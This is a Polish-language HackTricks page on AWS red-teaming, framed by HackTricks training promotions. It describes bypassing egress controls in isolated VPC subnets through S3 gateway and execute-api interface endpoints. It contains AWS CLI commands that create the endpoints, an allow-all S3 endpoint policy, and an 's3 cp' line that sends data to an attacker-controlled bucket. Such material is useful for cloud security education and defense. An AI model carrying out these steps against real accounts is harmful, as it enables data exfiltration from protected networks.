AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Podsumowanie

Ta technika wykorzystuje VPC Endpoints do stworzenia kanałów eksfiltracji z subnetów bez Internet Gateways lub NAT. Gateway endpoints (np. S3) dodają prefix‑list routes do subnet route tables; Interface endpoints (np. execute-api, secretsmanager, ssm itd.) tworzą dostępne ENIs z prywatnymi adresami IP chronionymi przez security groups. Przy minimalnych uprawnieniach VPC/EC2 atakujący może uruchomić kontrolowany egress, który nie przechodzi przez publiczny Internet.

Wymagania wstępne: istniejący VPC i private subnets (brak IGW/NAT). Będziesz potrzebować uprawnień do tworzenia VPC endpoints oraz, dla Opcji B, security group do podpięcia do endpoint ENIs.

Opcja A – S3 Gateway VPC Endpoint

Zmienne

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • RTB_IDS=<comma-separated route table IDs of private subnets>
  1. Create a permissive endpoint policy file (optional). Save as allow-put-get-any-s3.json:
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
  1. Utwórz S3 Gateway endpoint (dodaje trasę S3 prefix‑list do wybranych tablic tras):
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json   # optional

Dowody do zebrania:

  • aws ec2 describe-route-tables --route-table-ids $RTB_IDS pokazuje trasę do listy prefiksów AWS S3 (np. DestinationPrefixListId=pl-..., GatewayId=vpce-...).
  • Z instancji w tych podsieciach (with IAM perms) możesz exfil via S3 bez Internetu:
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION

Opcja B – Interface VPC Endpoint dla API Gateway (execute-api)

Zmienne

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • SUBNET_IDS=<comma-separated private subnets>
  • SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
  1. Utwórz interface endpoint i dołącz SG:
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled

Dowody do zebrania:

  • aws ec2 describe-vpc-endpoints pokazuje endpoint w stanie available z NetworkInterfaceIds (ENIs w twoich subnetach).
  • Instancje w tych subnetach mogą dotrzeć do Private API Gateway endpoints przez te VPCE ENIs (nie jest wymagana ścieżka do Internetu).

Wpływ

  • Omija kontrole ruchu wychodzącego na obwodzie, wykorzystując prywatne ścieżki zarządzane przez AWS do usług AWS.
  • Umożliwia eksfiltrację danych z izolowanych subnetów (np. zapisywanie do S3; wywoływanie Private API Gateway; dostęp do Secrets Manager/SSM/STS itd.) bez IGW/NAT.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks